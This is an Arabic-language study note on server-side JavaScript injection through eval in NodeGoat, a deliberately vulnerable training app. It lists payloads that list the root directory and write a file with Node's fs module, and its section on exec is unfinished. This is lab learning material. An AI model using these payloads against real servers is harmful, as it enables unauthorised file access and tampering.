ملاحظات:

- الـ NodeGoat يستخدم الـ express module في عمله
- الـ express module بإختصار هو web application framework يتيح لنا التعامل مع الكثير من الخصائص التي قد يحتاجها المبرمج في بناء تطبيقه، مثل التعامل مع الـ Http request & response headers
  - مرجع: https://www.tutorialspoint.com/nodejs/nodejs_express_framework.htm
- الأشياء التي سنقوم بإستخدامها في بناء الإستغلالات

1 - راح نستخدم الـ object هذا ==> **res** وهو من الـ objects الموجودة في الـ express module

- هذا الـ object يتيح لنا التعامل مع الـHTTP Response
- سنقوم بإستخدام هذا الـ object في نداء الدالة end
- الدالة end : وظيفتها بإختصار هي إخبار الـ Server بأن كل الـ http response headers تم إرسالها ، بالتالي الـ Server سيعرف أن عملية الإرسال اكتملت، هذه الدالة لابد أن يتم نداءها عند إرسال كل response
  - مرجع: https://nodejs.org/api/http.html#http_response_end_data_encoding_callback

2 - راح نستخدم الـ Fs module

- هذا الـ module يتيح لنا التعامل مع الـ File System مثل عمليات الكتابة والقراءة
  - مرجع : https://nodejs.org/api/fs.html#fs_file_system
- راح نستخدم الدالة readdirSync في الـ Fs ، وظيفتها بإختصار قراءة محتوى الـ Directory
- راح نستخدم الدالة writeFile في الـ Fs ، وظيفتها كتابة ملف ما

الإستغلالات:

1 - exploiting *eval* API

- // Root Directory listing
  res.end(require('fs').readdirSync('/').toString())

- // Write output into a response
  res.end('testValue= eval is EVIL')

- // writing a file - Blind Injection, needs a step after this to check if the file has been written or not?

```
res.end(require('fs').writeFile('testFile.txt', 'This is the content of the file',
() => {}))
```

2 - exploiting *exec* API through *eval* API

Still trying to figure it out --